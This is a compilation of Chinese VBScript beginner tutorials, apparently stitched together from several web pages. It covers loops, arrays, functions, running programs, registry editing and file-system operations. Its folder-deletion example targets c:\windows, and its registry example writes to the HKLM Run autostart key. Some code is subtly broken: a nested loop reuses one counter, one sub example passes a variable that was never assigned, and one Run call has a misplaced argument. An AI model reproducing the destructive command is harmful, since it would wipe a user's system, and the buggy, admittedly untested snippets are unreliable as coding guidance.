我们了解系统的安全性, 这种无限次认证程序很容易被穷举破解, 我们要来限定认证的次数. 修改程序如下
dim a,ctr
ctr=0 '设置计数器
const pass="pas123_" '上面的那个是弱密码, 这次改的强一点
do
if ctr=3 then
msgbox("已经达到认证上限, 认证程序关闭")
exit do
else
a=inputbox("请输入密码")
if a=pass then
msgbox("认证成功")
msgbox("(你可以在这里加一段成功后得到的信息)")
exit do
else
ctr=ctr+1 '如果密码出错就增加一次错误认证计数
msgbox("认证出错, 请检查密码")
end if
end if
loop
运行这个程序试试看, 当你出了3此错误以后, 就会停止再次询问密码, 关闭程序. telnet认证用来限制次数的程序与此大同小异. 要注意的是嵌套的if语句, 清仔细读一下这个程序, 可能比较难懂, 也请你试着自己设计一下类似的程序.
其实, 要在do...loop加上验证的功能, 并不一定要用if, 我们可以直接利用do. 我来介绍一下while关键字, while可以放在do或者是loop后面, 然后再接一个表达式, 当表达式的值为true的时候(表达式成立),才运行循环体.我们来看一下修改后的
程序"
dim a,ctr
ctr=0
const pass="pas123_"
do while ctr<3
a=inputbox("请输入密码")
if a=pass then
msgbox("认证成功")
msgbox("(你可以在这里加一段成功后得到的信息)")
exit do
else
ctr=ctr+1 '如果密码出错就增加一次错误认证计数
msgbox("认证出错, 请检查密码")
end if
loop
dim a,ctr
ctr=0
const pass="pas123_"
do
a=inputbox("请输入密码")
if a=pass then
msgbox("认证成功")
msgbox("(你可以在这里加一段成功后得到的信息)")
exit do
else
ctr=ctr+1 '如果密码出错就增加一次错误认证计数
msgbox("认证出错, 请检查密码")
end if
loop while ctr<3
功能是一样的, 为什么要放在loop后面呢? 你把ctr的值改成3就知道了, while在do后面的程序会直接退出, 而在loop后面还会允许一次认证, 到了loop才结束.和while相反的是until, 用法和while一样, 不过他只有当后面的表达式的值为false(表达式不成立)的时候才执行循环体, 请自己试验一下
ok, 我们来看另外一种循环结构,for....next, 这种循环结构是基于计数的, 也是在编程中最常见到的循环结构.
dim i
for i=0 to 5
msgbox(i)
next
看到了吗?每次输出的i都是递增的, 但我们没有明确指出i要递增, 当i达到5的时候, 循环就结束了, 因为由0开始, 所以循环体执行了6次, 这一点很重要, 大部分东西都是从0开始而不是1. 这个程序也可以写成
do的形式:
dim i
i=0
do while i<5
msgbox(i)
i=i+1 '因为do不能自动计数, 必须手动加
loop
怎么样, 还是for比较好用吧. for在编程中很有用途, 我们再举一个例子, 顺便讲一下嵌套循环.
dim i,j
for i=1 to 9
for i=1 to 9
str=str & i * j & " " '&是和并字符串的符号
next '每个next对应一个for
next
看看运行结果, 是否令你会想起小学时代的数学老师(丑陋的嘴脸). 要注意, 这里有一个"大"的for, 和一个小的for, 当小的for执行完一个周期以后, 大的for才执行一次(换句话说, 大的for执行一次, 小的要执行9次), 所以一共执行了九九八十
一次. 在大的for里可以不仅仅是一个小的for, 也可以加上另外的语句. 我们来修改一下源程序:
dim i,j
for i=1 to 9
for i=1 to 9
str=str & i * j & " "
next '每个next对应一个for
str=str & vbCrlf 'vbCrlf相当于键盘上的回车键,因为你不能在键盘上输入,所以系统定义了一个默认的常量
next
这次运行完成以后, 输出结果按照乘数进行了分割, 每小for运行完一次, 就换一行(通过vbcrlf).
这次的内容对菜鸟可能比较难懂, 掌握的办法只有一个:多实践. 另外, 我在论坛看到很多人还是问:"VBScript要用什么工具编?"我就很气愤, 我在第一篇里面已经说明:用记事本编辑源代码, 然后保存为以.vbs为扩展名的程序就可以了, 请大家不要再问. 另外, 国产的一种垃圾软件"超级X霸"抢占了vbs这个扩展名, 请把那个垃圾卸载掉.
我们总结一下:
要点:
1) do..loop和exit do的用法
2) while当表达式true的时候执行循环体,until反之
3) for...next是计数循环, 每次执行计数器递加
4) 嵌套循环的作用和写法
4.5) &用于连接字符串
5) vbCrLf相当于键盘上的回车键
作业:
1) 在我国的数学经典著作"九章算术"中有这样一道题:百钱买百鸡, 公鸡5钱一只, 母鸡3钱一只, 小鸡1钱2只(这个数据我是参考一本编程书的, 但我记得是公3,母1,小1钱3只? 不管了, 就按照书上得来吧)求得是能有多少种办法买这些鸡. 如果看不懂的话我用大白话说说:有人要去买鸡, 用100块钱正好买了100只鸡, 价格如下:公:5,母:3,母:3, 小:1$ for 2, 让你求一共多少种卖法(公母小怎么搭配). 请用循环解决这个问题。
PS:今天文章写的很仓促,大部分代码都没有实验,请大家自己检验。另外,上次的作业我不说答案了。不知道大家喜欢做这种题,还是以前那种比较简单的?
第五篇:
今天我们来了解语言本身的最后一个论题:数组.
要理解"数组", 这个概念我觉得另一种翻译对学习来说更加容易:"阵列", 没错, 数组就是一个阵列, 一个数据的阵列. 最简单的例子是数据库系统, 假设你要储存20名学生的英语成绩, 如果不是用数组, 你则要创建20个不同的变量, 累死. 数组就是类型相同(重要!)的一组数据(或者n组), 用来储存相关的量, 最简单的数组是一维数组, 我们就先来学习它吧.
什么是一维数组呢? 在3维以下,你可以利用几何知识来理解"维"的概念,一维相当于一条线, 二维则是一个矩形, 三维是一个长方体. 我知道这么讲是很抽象的, 我们先举个一维数组的例子就比较容易了解了.
dim a(9) '从零开始
for i=0 to 9
a(i)=i '填充每一个数组元素
msgbox(a(i)) '输出数组元素
next
我们可以看到, 定义一个数组的方法和定义一个变量没有什么不同, 同样是使用dim语句. 定义一维数组的方法如下:
dim 数组名(元素数量), 这里大家要注意一点, 这里定义的元素数量总是比你要的要少一个, 因为一个数组的起点是0号数据而不是1, 所以大家一定要小心: 你需要10个数据, 就定义"9", 需要100个就定义99, 依此类推. 数组的元素可以看成一个个独立的变量, 你可以像独立的变量那样使用他们. 数组元素的量可能是毫无关系的, 比如第一个数组元素储存你的年龄, 第二个储存今年西瓜的销售量, 但这种做法是不鼓励的, 甚至是不被接受的, 不要这么干, 这样的情况请定义独立的变量. for语句在数组中可算是大显身手, 还记得for吗? 它累加一个变量, 我们可以把这个变量应用在数组中正好用来读取或者填充按照顺序排列的数组元素, 上面就是这样一个例子. 数组其实是很简单的东西(再BASIC语言里面), 数组难的是怎么捣弄这些循环, 让他们按照你的要求运转. 这个等到二维数组再说, 我们先看看如何手工填充数组.
如果你这个都想不到的话, 那你真是白学了:
dim name(7),str '一共八个学生, str变量是用来把他们储存成一个字符串以便输出
for i=0 to 7
name(i)=inputbox("请输入第" & i+1 & "个学生的名字")
str=str & " " & name(i)
next
msgbox(str)
这样我们就有了一个小小的数据库, 它们的数据排列可以看成这样:
name(0),name(1),name(2).....name(7)
看到了吧, 所以我说我们可以把它看成是"一条线", 等到我们学到了文件操作, 就可以把他们输出到文件中去了. 一维数组有很多用处, 我们来看一下一个复杂的例子. 我们要储存3各学生的名字, 身高, 成绩这三种数据, 由于名字是字符串, 而身高可能是浮点数(带小数点的数), 成绩则可能是整数, 所以我们不能把他们储存在一个数组里面(不要忘记, 数组织只能存储同类的数据), 所以我们要建3个数组, 以下是例程:
dim name(2), high(2), mark(2) '定义三个数组分别储存3个人的名字, 身高和得分
dim ctr '计数器
for ctr=0 to 2
name(ctr)=inputbox("请输入第" & ctr+1 & "个学生的姓名")
high(ctr)=inputbox("请输入第" & ctr+1 & "个学生的身高")
mark(ctr)=inputbox("请输入第" & ctr+1 & "个学生的得分")
next
OK, 我们已经填充好了数据, 现在我们的小小数据库只能按顺序输入, 我们要让它看起来像点样子, 我们来给他设计查询功能:
'接着上面的程序
dim cname, temp '要查询的名字, 和一个临时变量, 用来储存数据的位置
cname=inputbox("请输入你要查询的名字:")
for ctr=0 to 2 '遍历所有name数组的成员, 寻找要查询的名字
if name(ctr)=cname then
temp=ctr '记录数据位置
exit for '退出循环, 和exit do的用法一样
end if '不要忘了end if
next
msgbox("姓名:" & name(temp) & " " & "身高:" & high(temp) & " " & "得分:" & mark(temp))
嘿嘿, 有意思吧, 其实在这个程序里面, 那个temp变量完全没有必要, 只是为了更清楚地说明问题. 因为当exit for以后ctr变量的值就不会改变, 储存的正好是对应数据在数组中的位置, 写这个temp变量是为了照顾到以后要学C++的朋友(C++可以在for语句里声明新变量, 只在这个for结构中有效, 所以到了外部就不能访问了). 也就是说可以简化成如下:
dim cname
cname=inputbox("请输入你要查询的名字:")
for ctr=0 to 2
if name(ctr)=cname then exit for '因为只有exit for就不需要块if了
next
msgbox("姓名:" & name(ctr) & " " & "身高:" & high(ctr) & " " & "得分:" & mark(ctr))
这是最直接的路子. 好好重读一下上面所有的源代码, 然后自己写几个程序, 完全搞清楚一维数组及其应用以后再看后面的二位数组. 二维数组好像是一个一维数组的集合, 就好像"线积成面"一样, 由n各一维数组组成二维数组, 这是初学者比较好理解的办法(比较精确的是用"编号"的概念去理解, 因为4维以上的数组就比较难以用欧几里德几何概念去解释了). 二维数组是很好解释的, 我们来看一下:
dim a(2,2) '从零开始, 一共有3 X 3 = 9 个数据
dim i,j '需要两个计数器
for i=0 to 2
for j=0 to 2 '使用嵌套循环
a(i,j)="X"
next
next
我们创建了一个这样的二维数组(那些","是我用来分割元素的,并不存在), 了解二维数组的了吗? 不清楚我们再讲一下
编号 0 1 2
0 X,X,X
1 X,X,X
2 X,X,X
二维数组的看起来是不是就是一个矩形呢?(你在内存中看不到这样的矩形, 只是便于你理解), 每个数据都有编号, 由两个数来定位, 这个很像(非常像)你在国际象棋棋盘上寻找一个格, 我们用类似"C6","A2"这样的"垂直坐标"进行定位, 对, "垂直坐标", 很确切. 我们要使用一个二维数组元素的时候可以和普通变量一样使用, 只要指定数组元素的"定位点"就可以了, 例如
a(0)(1)=1, b(2)(1)="你好", 诸如此类. 要注意的是二维数组也只能储存类型相同的元素, 而且上标(起点)也从0开始. 计算一个二维数组的元素个数只要把两个下标+1(以得到实际的值)再乘起来就可以了, 非常类似于求一个矩形的面积.
假如需要储存的都是同一类型的数据, 我们就可以用二维数组, 比如要储存5个人的姓名,国籍,民族, 就可以使用二维数据
dim info(4,2) '一共五个人, 要储存的数据类型有3项
dim i,j
for i=0 to 4
for j=0 to 2
dim opt '定义一个变量用于存储数据项提示
select case j '判断应该输入的是什么数据
case 0
opt="姓名"
case 1
opt="国籍"
case 2
opt="民族"
end select
info(i,j)=inputbox("请输入第" & i+1 & "个人的" & opt)
next
next
'输出太麻烦了, 我懒得动, 你知道那么回事就行了
这样就不需要定义3个一维数组了.
多位数组(三维以上)的定义和使用方法与二维数组一样, 但不太好在欧几里德几何空间里加以解释, 幸好我们并不太常用那么多维的数组.定义一个三位数组:dim a(1,2,3) '一共24各数组元素.
今天因为要搬家(我喜欢Sengkang啊, 可是MM嫌交通不便, 谁不知道她只想去逛街),而GF要去和她的同学去参加什么试验半夜才回家, 所以下午我只能自己去押车搬家了, 5555~~好可怜, 这次就请大家原谅我少写一点, 我可是站在图书馆外写的啊,
现在腿都软了~~~ 本来还要讲"动态数组"的, 但想了想还是放到"进阶部分"再说吧.
要点:
1) 一维数组是"线", 二维数组是"面", 三维数组是"体" (多维数组就乱套)
2) 数组的下标从0开始
3) for循环在数组的应用中起了很大作用, 二维数组需要嵌套循环
作业:
上次出的"百鸡问题", 大家喜欢吗? 以后我们就做这种需要动脑的题目, 那些简单的实践, 大家一定要多做!
1) 定义一个数组, 包含5个元素, 都是随机整数(随便输入), 要求把他们按照从大到小的顺序排列起来
2) 有两个二维数组a(4,4)和b(4,4) (元素值随便), 交换两个数组(原来的a的所有元素值变成b的, b的所有元素值变成a的)
最后一篇:
今天我们学习基础篇的最后一个部分:自定义函数和过程. 我们每天都在和函
数打交道, inputbox()是函数, msgbox()是函数, int()也是函数...这些函数都是系统内建的, 我们只能用不能改. 今天, 我就教大家怎样自己制作一个函数.
首先我们要了解, 为什么要用函数, 我们用"实例"说话, 先看一个例子: 给出两个数, 输出较大的那一个.
dim a1,a2,b1,b2,c1,c2
a1=2:a2=4 '":"可以让你把多个语句写在一行上
b1=32:b2=67
c1=12:c2=898
if a1>a2 then
msgbox(a1)
elseif a1<a2 then
msgbox(a2)
end if
if b1>b2 then
msgbox(b1)
elseif b1<b2 then
msgbox(b2)
end if
if c1>c2 then
msgbox(c1)
elseif c1<c2 then
msgbox(c2)
end if
多么麻烦呀, 我们把相同的比较过程复制了好几遍, 早期语言没有结构化(没有过程和函数)的时候, 程序员们的确是这么干的, 他们复制(Copy), 那个年代也没有剪贴板这一说, 大家都是重新输入代码. 后来工作简化了:
dim a1,a2,b1,b2,c1,c2
a1=2:a2=4
b1=32:b2=67
c1=12:c2=898
msgbox(co(a1,a2))
msgbox(co(b1,b2))
msgbox(co(c1,c2))
function co(t1,t2) '我们使用function定义了一个新的函数
if t1>t2 then
co=t1 '通过"函数名=表达式"这种方法返回结果
elseif t2>t1 then
co=t2
end if
end function
我们在这里是用了一个新的关键字:funciton, 这个关键字表示一个新函数开始, 格式:
funciton 函数名(参数1, 参数2...参数n) '列表可以是空的, 但括号不能省略, 参数之间用","分割
...
exit funciton '结束函数, 不是必需的
...
end function
函数是一个模块, 只有你调用的时候才会运行, 也就说, 当你编写了一个函数, 然后在程序中并不调用它, 那么这个函数永远不会运行. 一般来说, 我们编写程序是按照:
主程序
..
..
..
函数1
..
..
函数2
..
..
详细解释一下: 函数中最重要的是参数和返回值. 参数是在函数名后面的()里定义的, 用","分割, 使用参数的时候我们也用","分割. 说到这里我想起一件事, 昨天有个朋友给我发消息问我:
msgbox(name1,name2,name3)
这个错在哪里? 为什么不能同时显示出三个变量? 这就是因为你用了",", 这个符号表示你输入的三个量作为三个不同参数传递给msgbox()函数, msgbox()函数只会显示出第一个参数, 第二个参数的作用是出现在标题栏. 所以你应该用"&"或者"+"把三个字符串变量连接起来, 作为第一个参数传递给msgbox()函数. 程序员说参数的时候经常说到"形参", "实参"这样的"黑话",我来解释一下. "形参"是"形式参数"的简称, "实参"是"实际参数"的简称, 实参是指你调用函数的时候传递给函数的量, 可以使变量或者常量(直接量), 例如:co(12,24)中的12,24就是实参. 形参是你在函数定义时定义的变量, 这些变量用来"接住"传递过来的量, 例如function co(t1,t2)t1,t2就是形参.
在VBScript中, 参数传递是一种传值, 而不是传址(听不明白不要紧, 学了C语言的指针你就明白了), 所以我们进行的参数传递实际上是进行了一次变量赋值, 例如我们调用co(a1,a2), 实际上程序会执行一步:t1=a1,t2=a2这样的操作. 同样因为传值传址的原因, VBScript只能返回一个值, 我们先来看看什么叫"返回". 当一个过程调用了另一个过程的时候(比如主程序调用了函数), 控制权就到了被调用过程那里, 当这个过程执行完毕以后, 会回到调用它的地方继续执行, 这个就叫做"返回", 返回的时候可以带一个值叫做"返回值"(这是"通俗"的理解). 在vbs继承了basic的传统, 返回的时候采用"函数名=返回值"的办法,这个"返回值"是指一个表达式(在编程中, 任何东西都是表达式, 比如变量a, 常数0, "Hello",c=1+2等等这都是表达式). 比如有一个函数是ht, 则返回的方法是:ht=你要返回的值. 注意:返回以后, 后面的语句将不再执行.
调用一个函数我就不用讲了吧:变量=函数名(参数)
有时候我们并不需要返回什么值, 这个时候我们可以使用一种称之为"子程序"的结构. 子程序或称之为过程与函数的差别就在于:1) 没有返回值, 2) 使用sub关键字定义, 3) 通过Call调用.具个例子:
dim yname
name=inputbox("请输入你的名字:")
call who(yname)
sub who(cname)
msgbox("你好" & cname)
msgbox("感谢你阅读我的课程")
msgbox("这是基础部分的最后一课")
end sub
你一定看明白了, 很简单的. 退出一个过程和退出一个函数一样:exit sub(函数:exit function).
要注意, 子程序(过程)是比较特殊的一个结构, C等语言是没有这个概念的, C语言中的一切都是函数, 没有返回值的函数在C语言中只要使用void修饰符定义就行了.
今天没有什么可讲的了, 基础篇就这么结束了, 目前你已经有了基本的编程概念(面向过程的结构化编程), 可以选择学习另外一种语言(比如C或Pascal), 现在的基础会有一定的帮助. 你也可以去买本书继续学习vbs或通过它更详细的了解编程。 -
VBS教程二篇.txt
2012-12-13 16:36:06VBS教程二篇.txt VBS -
vbs教程
2019-03-19 09:05:02VBS教程 Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接...VBS教程
Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。它最方便的地方就是提供了对COM对象的简便支持。那么什么是COM对象呢?
COM对象就是一些具有特定函数功能项程序模块,他们一般以ocx或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等麻烦。最方便的是它甚至不需要专门的开发环境,在你的计算机中,只要有notepad,就可以编写Vbs脚本了,并且可以直接执行。
Vbs简明教程:
<1>第一个Vbs脚本:
打开编辑器sublime Text3,第一个脚本msgbox “Hello World!”,然后用鼠标单击“文件”菜单,单击“保存”,把”保存在”一栏设为桌面,在“文件名”一栏中填写kk.vbs,单击“保存”就可以了。其中,扩展名必须是vbs,msgbox是Vbs内建的函数,每一个函数都可以完成一定的功能,你只需要按照语法要求,在函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数执行的结果我们称为返回值,一个函数可以有返回值也可以没有,可以有参数也可以没有。你不用了解函数是怎么运作的,只要了解这个函数能干什么就行了。
Msgbox语法:msgbox “对话框内容”, , “对话框的标题”
Dim name
name = Inputbox(“name”)
msgbox “小明”//定义变量,dim是定义变量的语句 格式:dim 变量1,变量2…
vbs只有一种变量类型,所以不用声明变量类型。系统会自动分辨变量类型
inputbox是vbs内建的函数,可以接受输入的内容,其语法格式为 inputbox(“对话框内容”,“对话框标题”)
脚本基本的输入输出函数就是这几个
VBS基本语法牢记:
VBScript基础知识
一、变量
1、所有单引号后面的内容都被解释为注释。
2、在VBScript中,变量的命名规则遵循标准的命名规则,需要注意的是:在VBScript中对变量、方法、函数和对象的引用是不区分大小写的。在申明变量时,要显式地申明一个变量,需要使用关键字DIm来告诉VBScript你要创建一个变量,并将变量名称跟在其后。申明多个同类型变量,可以用逗号分隔。注意:VBScript中不允许在申明变量的时候同时给变量赋值。但是允许在一行代码内同时对两个变量进行赋值,中间用冒号分隔。
3、你可以使用Option Explicit来告诉宿主变量必须先声明后使用。
4、VBScript在定义时只有一种变量类型,在实际使用中需要使用类型转换函数来将变量转换成相应的变量类型。
Cbool函数将变量转换成布尔值;
Cbyte函数将变量转换为0到255之间的整数。
Ccur函数、Cdbl函数和Csng函数将变量转换为浮点数值,前者只精确到小数点后四位,后两者要更加精确,数值的范围也要大的多。
Cdate函数将变量转换为日期值。
Cint函数和Clng函数将变量转换为整数,后者的范围比前者要大的多。
Cstr函数将变量转换为字符串。
二、数组
数组的定义与变量非常类似,只需要在变量后描述这个数组的个数和维数。需要注意的是:数组的下标总是从0开始,而以数组定义中数值减一结束。也就是说你以要定义一个有十个数据的数组,将这样书写代码:dImarray(9),同样,当你要访问第五个元素时,实际的代码是array(4)。当然,你可以通过不指定数组的个数和维数来申明动态数组。等到数组的个数和维数固定后,使用关键字redim来改变数组。注意,在改变数组的大小时,数组的数据会被破坏,使用关键字preserve来保护数据。例如:
RedIm空格preserve空格array括号个数逗号维数括号
三、操作符
在VBScript运算符中,加减乘除都是我们常用的符号,乘方使用的是 ^ ,取模使用的Mod。
在比较操作符中,等于、小于、大于、小于等于、大于等于都与我们常用的符号是一致的,而不等于是小于和大于连用。
逻辑运算符为:和操作—>AND 非操作—>NOT 或操作—>OR;
你可以使用操作符 + 和操作符 & 来连接字符串,一般使用&操作符;
另外还有一个比较特殊的操作符Is用来比较对象,例如按钮对象,如果对象是同一类型,结果就是真,如果对象不是同一类型,结果就是假。
四、条件语句主要有if……then语句和select case语句两种形式
在if……then语句中,其基本形式为:
If 条件 then
处理条件的语句;
……
Endif
基本形式只能对单个条件进行验证,如果有两个条件,则需要在基本形式中添加单行语句else,如果还有更多的条件需要验证,则需要添加语句
Elseif 条件 then
处理条件语句
在select case语句中,其基本形式为:
Select case 变量
Case 条件值
处理条件语句
并对上两句进行重复
最后一句应为
case else
处理语句
当然不要忘记将条件结束语句End select放在最后一行
注意:在执行字符串比较时,需要特别注意大小写,一般情况下,我们在比较前,使用lcase函数将字符串转换成小写,使用ucase函数将字符串转换成大写大写。
五、循环控制语句
循环控制语句有for……next循环、for……each循环、do……while循环、do……until循环、while循环五种形式。
在使用循环控制语句前,首先要对循环条件进行判断,如果循环次数是有固定次数的,那么使用For……next循环,其结构为:
For 计数器变量=开始计数值 to 最后计数值
执行循环体
Next
如果是需要对数组或对象集合中的每一个元素进行判断,则需要使用for……each循环,其结构为:
For each 循环计数变量 in 要查看的对象或数组
执行处理语句
Next
注意:在上述两种循环中随时可以使用exit for来退出循环
如果你希望在条件满足时执行一段代码则使用do……while语句,结构为:
Do while 条件
执行循环体
Loop
如果你希望在条件不满足时执行代码,则使用do……until语句,结构为:
Do until 条件
执行循环体
Loop
当然,在这两种循环语句中,你可以使用exit do来退出循环
最后一种循环语句是条件满足时一直执行循环,
While 条件
执行循环体
Wend
六、使用过程
常用的过程有两种,一种为函数,给调用者返回值,一种为子程序,无返回值,还有一种叫事件的特殊子程序,用的比较少。
函数的基本定义方法为:
Function 函数名称(参数列表)
函数代码
函数名称=某值 ‘用来返回值
end function
子程序一些都类似,不过没有返回值
注意:尽管在定义子程序的时候,参数列表要加括号,但在调用子程序的时候,参数列表不加括号,括号只在函数中使用。另外,子程序不能在表达式中使用。
而函数只能出现在赋值语句的右边,或者表达式中,函数不能直接使用,如果必须直接使用函数,则必须使用call语句调用,并取消返回值。
Vbs脚本编程简明教程之四
如何利用Vbs运行外部程序?
Vbs只提供了编程的一个基本框架,用户可以使用Vbs来定义变量、过程和函数,vbs也提供了一些内部函数和对象,但是Vbs没有提供任何命令来访问Windows系统内部的部件,但是值得庆幸的是,Vbs虽然不能自己完成这些任务,但是它提供了一条极为方便、功能也相当强的命令——CreateObject,这条命令可以访问windows系统内安装的所有com对象,并且可以调用这些部件中存放的命令。
于是问题解决了,比如说,我手头有1000个小文本,我首先要对每一个文本的语法进行查错和修改,然后按照预先定义好的规则对这些文本进行排序,最后将这些文本合并成为一个文件。正常情况下,我们需要把打开第一个小文本,然后把它复制到WORD中,然后利用里面的除错功能进行除错和修改,然后再导入到EXCEL中进行排序,将这个过程重复1000遍,然后再将所有得到的文本复制到一个大文本中。实在是太枯燥、工作量太大了。有了Vbs和CreateObject,问题得到解决,我只需要找到相应的模块,调用相应的功能就可以了,作为脚本,把一个枯燥的过程重复1000次,本就是它的拿手好戏。
好了,我们走入正题,从最简单的——只启动一个程序开始。
WSH也就是用来解析Vbs的宿主,本身包含了几个个常用对象:
1、Scripting.FileSystemObject —> 提供一整套文件系统操作函数
2、Scripting.Dictionary —> 用来返回存放键值对的字典对象
3、Wscript.Shell —> 提供一套读取系统信息的函数,如读写注册表、查找指定文件的路径、读取DOS环境变量,读取链接中的设置
4、Wscript.NetWork —> 提供网络连接和远程打印机管理的函数。(其中,所有Scripting对象都存放在SCRRUN.DLL文件中,所有的Wscript对象都存放在WSHOM.ocx文件中。)
现在我们需要的是第三个对象,好了,让我们先连接一下对象看看,在记事本的编辑窗口中输入:
Option Explicit
Dim objShell
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad”
同样,保存执行。那么看到了一个什么样的结果呢?在桌面上又打开了一个记事本。
说明之一:Set是Vbs指令,凡是将一对象引用赋给变量,就需要使用set关键字。那么什么是对象引用呢?凡是字符串、数值、布尔值之外的变量都是对象引用。Objshell是变量名,可以随意修改。
说明之二:凡是正确引用的对象,其本身内置有函数和变量,其引用方法为在变量后加“. ”,后紧跟其实现功能的函数就可以了。Objshell.run 的意思就是调用Wscript.shell中的运行外部程序的函数——run,notepad是记事本程序的文件名。当然你也可以改成“calc”,这是计算器的文件名,winword是word的文件名,所有可执行文件的文件名都可以。但是需要注意的是,如果你要执行的可执行文件存放的地方不是程序安装的常用路径,一般情况下,需要提供合法的路径名,但是run在运行解析时,遇到空格会停止,解决的方法是使用双引号,例如:在我的机器上运行qq,代码为:
objshell.run “”“C:\Program Files\QQ2006\QQ.exe”"" ‘注:三个引号
好, 我们再进一步,启动两个程序会如何呢?
输入如下代码:
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad”
objShell.Run “calc”
执行会如何呢?两个程序基本上同时启动了。如果我们需要先启动notepad再启动calc将如何呢?很简单在需要顺序执行的代码后加" , , True"参数就可以了。
好了输入代码:
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad” ,true
objShell.Run “calc”
看看执行的结果怎么样吧!
总结:run函数有三个参数,第一个参数是你要执行的程序的路径,第二个程序是窗口的形式,0是在后台运行;1表示正常运行;2表示激活程序并且显示为最小化;3表示激活程序并且显示为最大化;一共有10个这样的参数我只列出了4个最常用的。 第三个参数是表示这个脚本是等待还是继续执行,如果设为了true,脚本就会等待调用的程序退出后再向后执行。
其实,run做为函数,前面还有一个接受返回值的变量,一般来说如果返回为0,表示成功执行,如果不为0,则这个返回值就是错误代码,可以通过这个代码找出相应的错误。
Vbs脚本编程简明教程之五
错误处理
引发错误的原因有很多,例如用户输入了错误类型的值,或者脚本找不到必需的文件、目录或者驱动器,我们可以使用循环技术来处理错误,但是VBS本身也提供了一些基本技术来进行错误的检测和处理。
1、最常见的错误是运行时错误,也就是说错误在脚本正在运行的时候发生,是脚本试图进行非法操作的结果。例如零被作为除数。在vbs中,任何运行时错误都是致命的,此时,脚本将停止运行,并在屏幕上显示一个错误消息。你可以在脚本的开头添加
On Error Resume Next
这行语句告诉vbs在运行时跳过发生错误的语句,紧接着执行跟在它后面的语句。
发生错误时,该语句将会把相关的错误号、错误描述和相关源代码压入错误堆栈。
2、虽然On Error Resume Next语句可以防止vbs脚本在发生错误时停止运行,但是它并不能真正处理错误,要处理错误,需要在脚本中增加一些语句,用来检查错误条件并在错误发生时处理它。
vbscript提供了一个err对象,他有两个方法clear,raise,5个属性:description,helpcontext,helpfile,number,source
err对象不用引用实例,可以直接使用,例如:
on error resume next
a=11
b=0
c=a/b
if err.number<>0 then
wscript.echo err.number & err.description & err.source
end if
Vbs脚本编程简明教程之六
修改注册表
Vbs中修改注册表的语句主要有:
1、读注册表的关键词和值:
可以通过把关键词的完整路径传递给wshshell对象的regread方法。例如:
set ws=wscript.createobject(“wscript.shell”)
v=ws.regread("HKLM\Software\7-Zip\Path ")
wscript.echo v
2、写注册表
使用wshshell对象的regwrite方法。例子:
path=“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”
set ws=wscript.createobject(“wscript.shell”)
t=ws.regwrite(path & “jj”,“hello”)
这样就把
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj这个键值改成了hello.不过要注意:这个键值一定要预先存在。
如果要创建一个新的关键词,同样也是用这个方法。
path=“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love”
set ws=wscript.createobject(“wscript.shell”)
val=ws.regwrite(path,“nenboy”)
val=ws.regread(path)
wscript.echo val
3、删除关键字和值
使用regdelete方法,把完整的路径传递给regdelete就可以了
例如
val=ws.regdel(path)
注意,如果要删除关键词的值的话 一定要在路径最后加上“\”,如果不加斜线,就会删除整个关键词。
Vbs脚本编程简明教程之七
FSO的常见对象和方法
文件系统是所有操作系统最重要的部分之一,脚本经常会需要对文件及文件夹进行访问和管理,在Vbs中对桌面和文件系统进行访问的顶级对象是FileSystemObject(FSO),这个对象特别复杂,是vbs进行文件操作的核心。此节内容应了如指掌。
FSO包含的常见对象有:
Drive对象:包含储存设备的信息,包括硬盘、光驱、ram盘、网络驱动器
Drives集合:提供一个物理和逻辑驱动器的列表
File 对象:检查和处理文件
Files 集合:提供一个文件夹中的文件列表
Folder对象:检查和处理文件夹
Folders集合:提供文件夹中子文件夹的列表
Textstream对象:读写文本文件
FSO的常见方法有:
BulidPath:把文件路径信息添加到现有的文件路径上
CopyFile:复制文件
CopyFolder:复制文件夹
CreateFolder:创建文件夹
CreateTextFile:创建文本并返回一个TextStream对象
DeleteFile:删除文件
DeleteFolder:删除文件夹及其中所有内容
DriveExits:确定驱动器是否存在
FileExits:确定一个文件是否存在
FolderExists:确定某文件夹是否存在
GetAbsolutePathName:返回一个文件夹或文件的绝对路径
GetBaseName:返回一个文件或文件夹的基本路径
GetDrive:返回一个dreve对象
GetDriveName:返回一个驱动器的名字
GetExtensionName:返回扩展名
GetFile:返回一个file对象
GetFileName:返回文件夹中文件名称
GetFolder:返回一个文件夹对象
GetParentFolderName:返回一个文件夹的父文件夹
GetSpecialFolder:返回指向一个特殊文件夹的对象指针
GetTempName:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称
MoveFile:移动文件
MoveFolder:移动文件夹
OpenTextFile:打开一个存在的文件并返回一个TextStream对象
Vbs脚本编程简明教程之八
FSO中文件夹的基本操作
1、使用fso
由于fso不是wsh的一部分,所以我们需要建立他的模型
例如set fs=wscript.createobject(“scripting.filesystemobject”)
这样就建立了fso的模型。如果要释放的话也很简单,set fs=nothing
2、使用文件夹
在创建前,我们一般需要检查该文件夹是否存在例如:
dim fs,s //定义fs、s两个变量
set fs=wscript.createobject(“scripting.filesystemobject”) //fs为FSO实例
if (fs.folderexists(“c:\temp”)) then //判断c:\temp文件夹是否存在
s=”is available”
else
s=”not exist”
set foldr=fs.createfolder(“c:\temp”) //不存在则建立
end if
删除: set fs=wscript.createobject(“scripting.filesystemobject”)
fs.deletefolder(“c:\windows”)
